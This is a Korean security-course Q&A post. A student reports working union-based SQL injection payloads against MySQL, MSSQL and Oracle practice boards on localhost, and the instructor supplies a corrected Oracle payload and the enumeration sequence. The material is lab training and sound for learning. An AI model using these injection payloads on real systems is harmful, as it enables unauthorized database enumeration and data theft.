• 카테고리

    질문 & 답변
  • 세부 분야

    보안

  • 해결 여부

    해결됨

[실습 7-4, 7-5, 7-6] MySQL, MSSQL, Oracle union based 공격 실습 강의 이후 상세보기에서 순차적 데이터 호출 실습 질문

22.10.30 00:41 작성 조회수 185

1

1) 실습 7-4 MySQL에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 limit 절을 활용하였습니다.

[실습 쿼리문]

http://localhost/board/mysql/view.php?idx=7 and 1=2 union select null,schema_name,null,null,null,null,null from information_schema.schemata limit 2,1%23

[쿼리문 실행 결과]

1. 상세보기 page의 Title 컬럼에 login_example 을 확인 할 수 있었습니다.

2. limit 3,1을 하면 상세보기 page의 Title 컬럼에 mysql을 확인 할 수 있었습니다.

2) 실습 7-5 MSSQL에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 not in과 서브쿼리문을 이용하였습니다.

[실습쿼리문]

http://localhost/board/mssql/view.php?idx=6 and 1=2 union all select null,name,null,null,null,null,null from master.sys.databases where name not in(select top 0 name from sysdatabases)--

[쿼리문 실행 결과]

1. 상세보기 page의 Title 컬럼에 master 를 확인 할 수 있었습니다.

2. 서브쿼리의 top 0 대신 top 1으로 숫자를 올리면 tempdb라는 2번째 데이터베이스 이름을 확인 할 수 있었습니다.

3) 실습 7-6 Oracle에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 rownum과 서브쿼리 기능을 이용했습니다.

[실습쿼리문]

http://localhost/board/oracle/view.php?idx=61 and 1=2 union all select null,table_name,null,null,null,null,null from(select rownum r, table_name from all_tables)tb where tb.r=2--

[쿼리문 실행결과]

1. 상세보기 page의 Title 컬럼에 SYSTEM_PRIVILEGE_MAP 두번재 table이름이 나온 것을 확인 할 수 있습니다.

질문1)강의 종료 후 제가 제대로 과제를 수행한건지 궁금합니다. 추가적으로 더 확인해 봐야 할 것이 있을 까요?

 


질문2) MSSQL에서 order by 정렬 기능이나 row_number()함수를 이용해서 순차적으로 출력하는 쿼리문을 만들 수 있을까요?(섹션 4에서 MSSQL에서 순차정렬이 가능한 여러 방법의 내용 처럼)

--> 저는 아무리 생각해도 적절한 쿼리문이 떠오르지 않아서 질문드립니다.

답변 1

답변을 작성해보세요.

1

안녕하세요.

오라클 실습에서 owner에 대한 조건문 설정이 필요합니다.

union all select null,table_name,null,null,null,null,null from(select rownum r, table_name from all_tables where owner=user)tb where tb.r=2--

실습 순서를 기본 정보 획득 > 메타 데이터 획득 > 데이터 획득 순서대로 공격을 진행하셨다면 제대로 하신것이 맞습니다.

그리고 직접 테이블 하나를 만들어서 거기에 데이터를 공격을 통해 찾는 실습도 해보시면 많은 도움되실겁니다.

질문 2에 대한 부분은 정렬은 union 구문과 사용시 제대로 되지 않을 겁니다.

그러나 row_number() 함수 사용은 가능합니다.ㅎㅎ 최대한 많은 고민을 해서 구문을 만들어 보세요 ㅎ